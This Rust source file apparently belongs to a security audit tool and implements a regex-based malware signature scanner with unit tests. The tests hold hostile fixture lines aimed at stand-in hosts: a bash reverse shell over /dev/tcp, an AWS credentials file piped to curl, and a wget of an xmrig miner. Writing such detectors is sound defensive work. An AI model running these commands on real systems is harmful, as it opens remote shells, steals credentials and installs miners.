Skip to main content

cc_audit/
malware_db.rs

1use crate::rules::{Category, Confidence, Finding, Location, Severity};
2use regex::Regex;
3use serde::{Deserialize, Serialize};
4use std::fs;
5use std::path::Path;
6use thiserror::Error;
7
8/// Built-in malware signatures database (embedded at compile time)
9const BUILTIN_SIGNATURES: &str = include_str!("../data/malware-signatures.json");
10
11#[derive(Debug, Clone, Serialize, Deserialize)]
12pub struct MalwareSignature {
13    pub id: String,
14    pub name: String,
15    pub description: String,
16    pub pattern: String,
17    pub severity: String,
18    pub category: String,
19    pub confidence: String,
20    pub reference: Option<String>,
21}
22
23#[derive(Debug, Clone, Serialize, Deserialize)]
24pub struct MalwareSignatureFile {
25    pub version: String,
26    pub updated_at: String,
27    pub signatures: Vec<MalwareSignature>,
28}
29
30pub struct CompiledSignature {
31    pub id: String,
32    pub name: String,
33    pub description: String,
34    pub regex: Regex,
35    pub severity: Severity,
36    pub category: Category,
37    pub confidence: Confidence,
38    pub reference: Option<String>,
39}
40
41pub struct MalwareDatabase {
42    signatures: Vec<CompiledSignature>,
43    version: String,
44    updated_at: String,
45}
46
47impl MalwareDatabase {
48    /// Load the built-in malware signatures database
49    pub fn builtin() -> Result<Self, MalwareDbError> {
50        Self::from_json(BUILTIN_SIGNATURES)
51    }
52
53    /// Load malware signatures from a JSON file
54    pub fn from_file(path: &Path) -> Result<Self, MalwareDbError> {
55        let content = fs::read_to_string(path).map_err(MalwareDbError::ReadFile)?;
56        Self::from_json(&content)
57    }
58
59    /// Load malware signatures from a JSON string
60    pub fn from_json(json: &str) -> Result<Self, MalwareDbError> {
61        let file: MalwareSignatureFile =
62            serde_json::from_str(json).map_err(MalwareDbError::ParseJson)?;
63
64        let mut signatures = Vec::new();
65        for sig in file.signatures {
66            let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
67                id: sig.id.clone(),
68                source: e,
69            })?;
70
71            let severity = match sig.severity.as_str() {
72                "critical" => Severity::Critical,
73                "high" => Severity::High,
74                "medium" => Severity::Medium,
75                "low" => Severity::Low,
76                _ => Severity::Medium,
77            };
78
79            let category = match sig.category.as_str() {
80                "exfiltration" => Category::Exfiltration,
81                "privilege-escalation" => Category::PrivilegeEscalation,
82                "persistence" => Category::Persistence,
83                "prompt-injection" => Category::PromptInjection,
84                "overpermission" => Category::Overpermission,
85                "obfuscation" => Category::Obfuscation,
86                "supply-chain" => Category::SupplyChain,
87                "secret-leak" => Category::SecretLeak,
88                _ => Category::Exfiltration,
89            };
90
91            let confidence = match sig.confidence.as_str() {
92                "certain" => Confidence::Certain,
93                "firm" => Confidence::Firm,
94                "tentative" => Confidence::Tentative,
95                _ => Confidence::Tentative,
96            };
97
98            signatures.push(CompiledSignature {
99                id: sig.id,
100                name: sig.name,
101                description: sig.description,
102                regex,
103                severity,
104                category,
105                confidence,
106                reference: sig.reference,
107            });
108        }
109
110        Ok(Self {
111            signatures,
112            version: file.version,
113            updated_at: file.updated_at,
114        })
115    }
116
117    /// Get the database version
118    pub fn version(&self) -> &str {
119        &self.version
120    }
121
122    /// Get the last update date
123    pub fn updated_at(&self) -> &str {
124        &self.updated_at
125    }
126
127    /// Get the number of signatures
128    pub fn signature_count(&self) -> usize {
129        self.signatures.len()
130    }
131
132    /// Add additional signatures to the database
133    pub fn add_signatures(
134        &mut self,
135        signatures: Vec<MalwareSignature>,
136    ) -> Result<(), MalwareDbError> {
137        for sig in signatures {
138            let compiled = Self::compile_signature(sig)?;
139            self.signatures.push(compiled);
140        }
141        Ok(())
142    }
143
144    /// Compile a single MalwareSignature into a CompiledSignature
145    fn compile_signature(sig: MalwareSignature) -> Result<CompiledSignature, MalwareDbError> {
146        let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
147            id: sig.id.clone(),
148            source: e,
149        })?;
150
151        let severity = match sig.severity.as_str() {
152            "critical" => Severity::Critical,
153            "high" => Severity::High,
154            "medium" => Severity::Medium,
155            "low" => Severity::Low,
156            _ => Severity::Medium,
157        };
158
159        let category = match sig.category.as_str() {
160            "exfiltration" => Category::Exfiltration,
161            "privilege-escalation" => Category::PrivilegeEscalation,
162            "persistence" => Category::Persistence,
163            "prompt-injection" => Category::PromptInjection,
164            "overpermission" => Category::Overpermission,
165            "obfuscation" => Category::Obfuscation,
166            "supply-chain" => Category::SupplyChain,
167            "secret-leak" => Category::SecretLeak,
168            _ => Category::Exfiltration,
169        };
170
171        let confidence = match sig.confidence.as_str() {
172            "certain" => Confidence::Certain,
173            "firm" => Confidence::Firm,
174            "tentative" => Confidence::Tentative,
175            _ => Confidence::Tentative,
176        };
177
178        Ok(CompiledSignature {
179            id: sig.id,
180            name: sig.name,
181            description: sig.description,
182            regex,
183            severity,
184            category,
185            confidence,
186            reference: sig.reference,
187        })
188    }
189
190    /// Scan content for malware patterns
191    pub fn scan_content(&self, content: &str, file_path: &str) -> Vec<Finding> {
192        let mut findings = Vec::new();
193
194        for (line_num, line) in content.lines().enumerate() {
195            for sig in &self.signatures {
196                if sig.regex.is_match(line) {
197                    findings.push(Finding {
198                        id: sig.id.clone(),
199                        severity: sig.severity,
200                        category: sig.category,
201                        name: sig.name.clone(),
202                        location: Location {
203                            file: file_path.to_string(),
204                            line: line_num + 1,
205                            column: None,
206                        },
207                        code: line.trim().to_string(),
208                        message: sig.description.clone(),
209                        recommendation: "Review this code carefully and remove if malicious"
210                            .to_string(),
211                        confidence: sig.confidence,
212                        fix_hint: sig.reference.as_ref().map(|r| format!("See: {}", r)),
213                        cwe_ids: vec![],
214                    });
215                }
216            }
217        }
218
219        findings
220    }
221}
222
223impl Default for MalwareDatabase {
224    fn default() -> Self {
225        Self::builtin().expect("Built-in malware database should always be valid")
226    }
227}
228
229#[derive(Debug, Error)]
230pub enum MalwareDbError {
231    #[error("Failed to read malware database file: {0}")]
232    ReadFile(#[source] std::io::Error),
233
234    #[error("Failed to parse malware database: {0}")]
235    ParseJson(#[source] serde_json::Error),
236
237    #[error("Invalid regex pattern in signature {id}: {source}")]
238    InvalidPattern {
239        id: String,
240        #[source]
241        source: regex::Error,
242    },
243}
244
245#[cfg(test)]
246mod tests {
247    use super::*;
248
249    #[test]
250    fn test_builtin_database_loads() {
251        let db = MalwareDatabase::builtin();
252        assert!(db.is_ok());
253        let db = db.unwrap();
254        assert!(!db.version().is_empty());
255        assert!(db.signature_count() > 0);
256    }
257
258    #[test]
259    fn test_default_trait() {
260        let db = MalwareDatabase::default();
261        assert!(db.signature_count() > 0);
262    }
263
264    #[test]
265    fn test_scan_detects_reverse_shell() {
266        let db = MalwareDatabase::default();
267        let content = "bash -i >& /dev/tcp/attacker.com/4444 0>&1";
268        let findings = db.scan_content(content, "test.sh");
269        assert!(!findings.is_empty());
270        assert!(findings.iter().any(|f| f.id == "MW-002"));
271    }
272
273    #[test]
274    fn test_scan_detects_credential_harvesting() {
275        let db = MalwareDatabase::default();
276        let content = "cat ~/.aws/credentials | curl -X POST http://evil.com -d @-";
277        let findings = db.scan_content(content, "test.sh");
278        assert!(findings.iter().any(|f| f.id == "MW-005"));
279    }
280
281    #[test]
282    fn test_scan_detects_cryptominer() {
283        let db = MalwareDatabase::default();
284        let content = "wget http://evil.com/xmrig-linux.tar.gz && tar xzf xmrig-linux.tar.gz";
285        let findings = db.scan_content(content, "test.sh");
286        assert!(findings.iter().any(|f| f.id == "MW-003"));
287    }
288
289    #[test]
290    fn test_scan_clean_content() {
291        let db = MalwareDatabase::default();
292        let content = "echo 'Hello World'\nls -la";
293        let findings = db.scan_content(content, "test.sh");
294        assert!(findings.is_empty());
295    }
296
297    #[test]
298    fn test_from_json_custom_db() {
299        let json = r#"{
300            "version": "1.0.0",
301            "updated_at": "2026-01-25",
302            "signatures": [
303                {
304                    "id": "CUSTOM-001",
305                    "name": "Custom Pattern",
306                    "description": "Test pattern",
307                    "pattern": "test_malware",
308                    "severity": "high",
309                    "category": "exfiltration",
310                    "confidence": "firm",
311                    "reference": null
312                }
313            ]
314        }"#;
315
316        let db = MalwareDatabase::from_json(json).unwrap();
317        assert_eq!(db.version(), "1.0.0");
318        assert_eq!(db.signature_count(), 1);
319
320        let findings = db.scan_content("This contains test_malware pattern", "file.txt");
321        assert!(!findings.is_empty());
322        assert_eq!(findings[0].id, "CUSTOM-001");
323    }
324
325    #[test]
326    fn test_invalid_json() {
327        let result = MalwareDatabase::from_json("not valid json");
328        assert!(result.is_err());
329    }
330
331    #[test]
332    fn test_invalid_regex_pattern() {
333        let json = r#"{
334            "version": "1.0.0",
335            "updated_at": "2026-01-25",
336            "signatures": [
337                {
338                    "id": "BAD-001",
339                    "name": "Bad Pattern",
340                    "description": "Invalid regex",
341                    "pattern": "[invalid",
342                    "severity": "high",
343                    "category": "exfiltration",
344                    "confidence": "firm",
345                    "reference": null
346                }
347            ]
348        }"#;
349
350        let result = MalwareDatabase::from_json(json);
351        assert!(result.is_err());
352        assert!(matches!(result, Err(MalwareDbError::InvalidPattern { .. })));
353    }
354
355    #[test]
356    fn test_finding_has_correct_location() {
357        let db = MalwareDatabase::default();
358        let content = "line1\nline2\nbash -i >& /dev/tcp/evil.com/4444 0>&1\nline4";
359        let findings = db.scan_content(content, "test.sh");
360        assert!(!findings.is_empty());
361        assert_eq!(findings[0].location.line, 3);
362        assert_eq!(findings[0].location.file, "test.sh");
363    }
364
365    #[test]
366    fn test_severity_mapping() {
367        let json = r#"{
368            "version": "1.0.0",
369            "updated_at": "2026-01-25",
370            "signatures": [
371                {
372                    "id": "TEST-001",
373                    "name": "Critical",
374                    "description": "Test",
375                    "pattern": "critical_test",
376                    "severity": "critical",
377                    "category": "exfiltration",
378                    "confidence": "certain",
379                    "reference": null
380                },
381                {
382                    "id": "TEST-002",
383                    "name": "Low",
384                    "description": "Test",
385                    "pattern": "low_test",
386                    "severity": "low",
387                    "category": "persistence",
388                    "confidence": "tentative",
389                    "reference": null
390                }
391            ]
392        }"#;
393
394        let db = MalwareDatabase::from_json(json).unwrap();
395
396        let findings = db.scan_content("critical_test", "file.txt");
397        assert_eq!(findings[0].severity, Severity::Critical);
398        assert_eq!(findings[0].confidence, Confidence::Certain);
399
400        let findings = db.scan_content("low_test", "file.txt");
401        assert_eq!(findings[0].severity, Severity::Low);
402        assert_eq!(findings[0].category, Category::Persistence);
403    }
404
405    #[test]
406    fn test_all_severity_levels() {
407        let json = r#"{
408            "version": "1.0.0",
409            "updated_at": "2026-01-25",
410            "signatures": [
411                {"id": "S1", "name": "T", "description": "T", "pattern": "sev_critical", "severity": "critical", "category": "exfiltration", "confidence": "firm", "reference": null},
412                {"id": "S2", "name": "T", "description": "T", "pattern": "sev_high", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
413                {"id": "S3", "name": "T", "description": "T", "pattern": "sev_medium", "severity": "medium", "category": "exfiltration", "confidence": "firm", "reference": null},
414                {"id": "S4", "name": "T", "description": "T", "pattern": "sev_low", "severity": "low", "category": "exfiltration", "confidence": "firm", "reference": null},
415                {"id": "S5", "name": "T", "description": "T", "pattern": "sev_unknown", "severity": "unknown", "category": "exfiltration", "confidence": "firm", "reference": null}
416            ]
417        }"#;
418
419        let db = MalwareDatabase::from_json(json).unwrap();
420
421        let findings = db.scan_content("sev_critical", "file.txt");
422        assert_eq!(findings[0].severity, Severity::Critical);
423
424        let findings = db.scan_content("sev_high", "file.txt");
425        assert_eq!(findings[0].severity, Severity::High);
426
427        let findings = db.scan_content("sev_medium", "file.txt");
428        assert_eq!(findings[0].severity, Severity::Medium);
429
430        let findings = db.scan_content("sev_low", "file.txt");
431        assert_eq!(findings[0].severity, Severity::Low);
432
433        // Unknown severity defaults to Medium
434        let findings = db.scan_content("sev_unknown", "file.txt");
435        assert_eq!(findings[0].severity, Severity::Medium);
436    }
437
438    #[test]
439    fn test_all_categories() {
440        let json = r#"{
441            "version": "1.0.0",
442            "updated_at": "2026-01-25",
443            "signatures": [
444                {"id": "C1", "name": "T", "description": "T", "pattern": "cat_exfil", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
445                {"id": "C2", "name": "T", "description": "T", "pattern": "cat_priv", "severity": "high", "category": "privilege-escalation", "confidence": "firm", "reference": null},
446                {"id": "C3", "name": "T", "description": "T", "pattern": "cat_persist", "severity": "high", "category": "persistence", "confidence": "firm", "reference": null},
447                {"id": "C4", "name": "T", "description": "T", "pattern": "cat_prompt", "severity": "high", "category": "prompt-injection", "confidence": "firm", "reference": null},
448                {"id": "C5", "name": "T", "description": "T", "pattern": "cat_overperm", "severity": "high", "category": "overpermission", "confidence": "firm", "reference": null},
449                {"id": "C6", "name": "T", "description": "T", "pattern": "cat_obfusc", "severity": "high", "category": "obfuscation", "confidence": "firm", "reference": null},
450                {"id": "C7", "name": "T", "description": "T", "pattern": "cat_supply", "severity": "high", "category": "supply-chain", "confidence": "firm", "reference": null},
451                {"id": "C8", "name": "T", "description": "T", "pattern": "cat_secret", "severity": "high", "category": "secret-leak", "confidence": "firm", "reference": null},
452                {"id": "C9", "name": "T", "description": "T", "pattern": "cat_unknown", "severity": "high", "category": "unknown", "confidence": "firm", "reference": null}
453            ]
454        }"#;
455
456        let db = MalwareDatabase::from_json(json).unwrap();
457
458        let findings = db.scan_content("cat_exfil", "file.txt");
459        assert_eq!(findings[0].category, Category::Exfiltration);
460
461        let findings = db.scan_content("cat_priv", "file.txt");
462        assert_eq!(findings[0].category, Category::PrivilegeEscalation);
463
464        let findings = db.scan_content("cat_persist", "file.txt");
465        assert_eq!(findings[0].category, Category::Persistence);
466
467        let findings = db.scan_content("cat_prompt", "file.txt");
468        assert_eq!(findings[0].category, Category::PromptInjection);
469
470        let findings = db.scan_content("cat_overperm", "file.txt");
471        assert_eq!(findings[0].category, Category::Overpermission);
472
473        let findings = db.scan_content("cat_obfusc", "file.txt");
474        assert_eq!(findings[0].category, Category::Obfuscation);
475
476        let findings = db.scan_content("cat_supply", "file.txt");
477        assert_eq!(findings[0].category, Category::SupplyChain);
478
479        let findings = db.scan_content("cat_secret", "file.txt");
480        assert_eq!(findings[0].category, Category::SecretLeak);
481
482        // Unknown category defaults to Exfiltration
483        let findings = db.scan_content("cat_unknown", "file.txt");
484        assert_eq!(findings[0].category, Category::Exfiltration);
485    }
486
487    #[test]
488    fn test_all_confidence_levels() {
489        let json = r#"{
490            "version": "1.0.0",
491            "updated_at": "2026-01-25",
492            "signatures": [
493                {"id": "CF1", "name": "T", "description": "T", "pattern": "conf_certain", "severity": "high", "category": "exfiltration", "confidence": "certain", "reference": null},
494                {"id": "CF2", "name": "T", "description": "T", "pattern": "conf_firm", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
495                {"id": "CF3", "name": "T", "description": "T", "pattern": "conf_tentative", "severity": "high", "category": "exfiltration", "confidence": "tentative", "reference": null},
496                {"id": "CF4", "name": "T", "description": "T", "pattern": "conf_unknown", "severity": "high", "category": "exfiltration", "confidence": "unknown", "reference": null}
497            ]
498        }"#;
499
500        let db = MalwareDatabase::from_json(json).unwrap();
501
502        let findings = db.scan_content("conf_certain", "file.txt");
503        assert_eq!(findings[0].confidence, Confidence::Certain);
504
505        let findings = db.scan_content("conf_firm", "file.txt");
506        assert_eq!(findings[0].confidence, Confidence::Firm);
507
508        let findings = db.scan_content("conf_tentative", "file.txt");
509        assert_eq!(findings[0].confidence, Confidence::Tentative);
510
511        // Unknown confidence defaults to Tentative
512        let findings = db.scan_content("conf_unknown", "file.txt");
513        assert_eq!(findings[0].confidence, Confidence::Tentative);
514    }
515
516    #[test]
517    fn test_signature_with_reference() {
518        let json = r#"{
519            "version": "1.0.0",
520            "updated_at": "2026-01-25",
521            "signatures": [
522                {
523                    "id": "REF-001",
524                    "name": "Test with reference",
525                    "description": "Test",
526                    "pattern": "ref_test",
527                    "severity": "high",
528                    "category": "exfiltration",
529                    "confidence": "firm",
530                    "reference": "https://example.com/reference"
531                }
532            ]
533        }"#;
534
535        let db = MalwareDatabase::from_json(json).unwrap();
536        let findings = db.scan_content("ref_test", "file.txt");
537        assert!(findings[0].fix_hint.is_some());
538        assert!(
539            findings[0]
540                .fix_hint
541                .as_ref()
542                .unwrap()
543                .contains("https://example.com/reference")
544        );
545    }
546
547    #[test]
548    fn test_malware_db_error_display_read_file() {
549        let io_error =
550            std::io::Error::new(std::io::ErrorKind::PermissionDenied, "permission denied");
551        let error = MalwareDbError::ReadFile(io_error);
552        assert!(format!("{}", error).contains("Failed to read malware database file"));
553    }
554
555    #[test]
556    fn test_malware_db_error_display_parse_json() {
557        // Create a real serde_json error
558        let result: Result<MalwareSignatureFile, _> = serde_json::from_str("invalid json");
559        let json_error = result.unwrap_err();
560        let error = MalwareDbError::ParseJson(json_error);
561        assert!(format!("{}", error).contains("Failed to parse malware database"));
562    }
563
564    #[test]
565    #[allow(clippy::invalid_regex)]
566    fn test_malware_db_error_display_invalid_pattern() {
567        // Create a real regex error
568        let regex_error = Regex::new("[invalid").unwrap_err();
569        let error = MalwareDbError::InvalidPattern {
570            id: "SIG-001".to_string(),
571            source: regex_error,
572        };
573        assert!(format!("{}", error).contains("Invalid regex pattern"));
574        assert!(format!("{}", error).contains("SIG-001"));
575    }
576
577    #[test]
578    fn test_malware_db_error_is_error() {
579        let io_error = std::io::Error::new(std::io::ErrorKind::NotFound, "not found");
580        let error: Box<dyn std::error::Error> = Box::new(MalwareDbError::ReadFile(io_error));
581        assert!(!error.to_string().is_empty());
582    }
583
584    #[test]
585    fn test_database_metadata() {
586        let db = MalwareDatabase::default();
587        assert!(!db.version().is_empty());
588        assert!(!db.updated_at().is_empty());
589    }
590
591    #[test]
592    fn test_multiline_content_scan() {
593        let db = MalwareDatabase::default();
594        let content = r#"
595#!/bin/bash
596echo "Hello"
597bash -i >& /dev/tcp/evil.com/4444 0>&1
598echo "Goodbye"
599"#;
600        let findings = db.scan_content(content, "test.sh");
601        assert!(!findings.is_empty());
602        assert_eq!(findings[0].location.line, 4);
603    }
604
605    #[test]
606    fn test_add_signatures() {
607        let mut db = MalwareDatabase::default();
608        let initial_count = db.signature_count();
609
610        let custom_sigs = vec![MalwareSignature {
611            id: "MW-CUSTOM-001".to_string(),
612            name: "Custom Malware".to_string(),
613            description: "Test custom pattern".to_string(),
614            pattern: "custom_evil_pattern".to_string(),
615            severity: "critical".to_string(),
616            category: "exfiltration".to_string(),
617            confidence: "firm".to_string(),
618            reference: None,
619        }];
620
621        db.add_signatures(custom_sigs).unwrap();
622        assert_eq!(db.signature_count(), initial_count + 1);
623
624        // Test that the new signature is working
625        let findings = db.scan_content("custom_evil_pattern detected", "test.sh");
626        assert!(!findings.is_empty());
627        assert!(findings.iter().any(|f| f.id == "MW-CUSTOM-001"));
628    }
629
630    #[test]
631    fn test_add_signatures_invalid_pattern() {
632        let mut db = MalwareDatabase::default();
633        let custom_sigs = vec![MalwareSignature {
634            id: "MW-INVALID".to_string(),
635            name: "Invalid".to_string(),
636            description: "Test".to_string(),
637            pattern: "[invalid(".to_string(), // Invalid regex
638            severity: "high".to_string(),
639            category: "exfiltration".to_string(),
640            confidence: "firm".to_string(),
641            reference: None,
642        }];
643
644        let result = db.add_signatures(custom_sigs);
645        assert!(result.is_err());
646    }
647
648    #[test]
649    fn test_add_signatures_all_severity_levels() {
650        let mut db = MalwareDatabase::default();
651        let custom_sigs = vec![
652            MalwareSignature {
653                id: "ADD-HIGH".to_string(),
654                name: "High".to_string(),
655                description: "Test".to_string(),
656                pattern: "add_high_test".to_string(),
657                severity: "high".to_string(),
658                category: "exfiltration".to_string(),
659                confidence: "firm".to_string(),
660                reference: None,
661            },
662            MalwareSignature {
663                id: "ADD-MEDIUM".to_string(),
664                name: "Medium".to_string(),
665                description: "Test".to_string(),
666                pattern: "add_medium_test".to_string(),
667                severity: "medium".to_string(),
668                category: "exfiltration".to_string(),
669                confidence: "firm".to_string(),
670                reference: None,
671            },
672            MalwareSignature {
673                id: "ADD-LOW".to_string(),
674                name: "Low".to_string(),
675                description: "Test".to_string(),
676                pattern: "add_low_test".to_string(),
677                severity: "low".to_string(),
678                category: "exfiltration".to_string(),
679                confidence: "firm".to_string(),
680                reference: None,
681            },
682            MalwareSignature {
683                id: "ADD-UNKNOWN".to_string(),
684                name: "Unknown".to_string(),
685                description: "Test".to_string(),
686                pattern: "add_unknown_test".to_string(),
687                severity: "unknown".to_string(),
688                category: "exfiltration".to_string(),
689                confidence: "firm".to_string(),
690                reference: None,
691            },
692        ];
693
694        db.add_signatures(custom_sigs).unwrap();
695
696        let findings = db.scan_content("add_high_test", "test.txt");
697        assert_eq!(findings[0].severity, Severity::High);
698
699        let findings = db.scan_content("add_medium_test", "test.txt");
700        assert_eq!(findings[0].severity, Severity::Medium);
701
702        let findings = db.scan_content("add_low_test", "test.txt");
703        assert_eq!(findings[0].severity, Severity::Low);
704
705        let findings = db.scan_content("add_unknown_test", "test.txt");
706        assert_eq!(findings[0].severity, Severity::Medium); // Default
707    }
708
709    #[test]
710    fn test_add_signatures_all_categories() {
711        let mut db = MalwareDatabase::default();
712        let custom_sigs = vec![
713            MalwareSignature {
714                id: "CAT-PRIV".to_string(),
715                name: "Priv".to_string(),
716                description: "Test".to_string(),
717                pattern: "cat_priv_add".to_string(),
718                severity: "high".to_string(),
719                category: "privilege-escalation".to_string(),
720                confidence: "firm".to_string(),
721                reference: None,
722            },
723            MalwareSignature {
724                id: "CAT-PERSIST".to_string(),
725                name: "Persist".to_string(),
726                description: "Test".to_string(),
727                pattern: "cat_persist_add".to_string(),
728                severity: "high".to_string(),
729                category: "persistence".to_string(),
730                confidence: "firm".to_string(),
731                reference: None,
732            },
733            MalwareSignature {
734                id: "CAT-PROMPT".to_string(),
735                name: "Prompt".to_string(),
736                description: "Test".to_string(),
737                pattern: "cat_prompt_add".to_string(),
738                severity: "high".to_string(),
739                category: "prompt-injection".to_string(),
740                confidence: "firm".to_string(),
741                reference: None,
742            },
743            MalwareSignature {
744                id: "CAT-OVERPERM".to_string(),
745                name: "Overperm".to_string(),
746                description: "Test".to_string(),
747                pattern: "cat_overperm_add".to_string(),
748                severity: "high".to_string(),
749                category: "overpermission".to_string(),
750                confidence: "firm".to_string(),
751                reference: None,
752            },
753            MalwareSignature {
754                id: "CAT-OBFUSC".to_string(),
755                name: "Obfusc".to_string(),
756                description: "Test".to_string(),
757                pattern: "cat_obfusc_add".to_string(),
758                severity: "high".to_string(),
759                category: "obfuscation".to_string(),
760                confidence: "firm".to_string(),
761                reference: None,
762            },
763            MalwareSignature {
764                id: "CAT-SUPPLY".to_string(),
765                name: "Supply".to_string(),
766                description: "Test".to_string(),
767                pattern: "cat_supply_add".to_string(),
768                severity: "high".to_string(),
769                category: "supply-chain".to_string(),
770                confidence: "firm".to_string(),
771                reference: None,
772            },
773            MalwareSignature {
774                id: "CAT-SECRET".to_string(),
775                name: "Secret".to_string(),
776                description: "Test".to_string(),
777                pattern: "cat_secret_add".to_string(),
778                severity: "high".to_string(),
779                category: "secret-leak".to_string(),
780                confidence: "firm".to_string(),
781                reference: None,
782            },
783            MalwareSignature {
784                id: "CAT-UNKNOWN".to_string(),
785                name: "Unknown".to_string(),
786                description: "Test".to_string(),
787                pattern: "cat_unknown_add".to_string(),
788                severity: "high".to_string(),
789                category: "unknown".to_string(),
790                confidence: "firm".to_string(),
791                reference: None,
792            },
793        ];
794
795        db.add_signatures(custom_sigs).unwrap();
796
797        let findings = db.scan_content("cat_priv_add", "test.txt");
798        assert_eq!(findings[0].category, Category::PrivilegeEscalation);
799
800        let findings = db.scan_content("cat_persist_add", "test.txt");
801        assert_eq!(findings[0].category, Category::Persistence);
802
803        let findings = db.scan_content("cat_prompt_add", "test.txt");
804        assert_eq!(findings[0].category, Category::PromptInjection);
805
806        let findings = db.scan_content("cat_overperm_add", "test.txt");
807        assert_eq!(findings[0].category, Category::Overpermission);
808
809        let findings = db.scan_content("cat_obfusc_add", "test.txt");
810        assert_eq!(findings[0].category, Category::Obfuscation);
811
812        let findings = db.scan_content("cat_supply_add", "test.txt");
813        assert_eq!(findings[0].category, Category::SupplyChain);
814
815        let findings = db.scan_content("cat_secret_add", "test.txt");
816        assert_eq!(findings[0].category, Category::SecretLeak);
817
818        let findings = db.scan_content("cat_unknown_add", "test.txt");
819        assert_eq!(findings[0].category, Category::Exfiltration); // Default
820    }
821
822    #[test]
823    fn test_add_signatures_all_confidence_levels() {
824        let mut db = MalwareDatabase::default();
825        let custom_sigs = vec![
826            MalwareSignature {
827                id: "CONF-TENT".to_string(),
828                name: "Tentative".to_string(),
829                description: "Test".to_string(),
830                pattern: "conf_tentative_add".to_string(),
831                severity: "high".to_string(),
832                category: "exfiltration".to_string(),
833                confidence: "tentative".to_string(),
834                reference: None,
835            },
836            MalwareSignature {
837                id: "CONF-UNKNOWN".to_string(),
838                name: "Unknown".to_string(),
839                description: "Test".to_string(),
840                pattern: "conf_unknown_add".to_string(),
841                severity: "high".to_string(),
842                category: "exfiltration".to_string(),
843                confidence: "unknown".to_string(),
844                reference: None,
845            },
846        ];
847
848        db.add_signatures(custom_sigs).unwrap();
849
850        let findings = db.scan_content("conf_tentative_add", "test.txt");
851        assert_eq!(findings[0].confidence, Confidence::Tentative);
852
853        let findings = db.scan_content("conf_unknown_add", "test.txt");
854        assert_eq!(findings[0].confidence, Confidence::Tentative); // Default
855    }
856}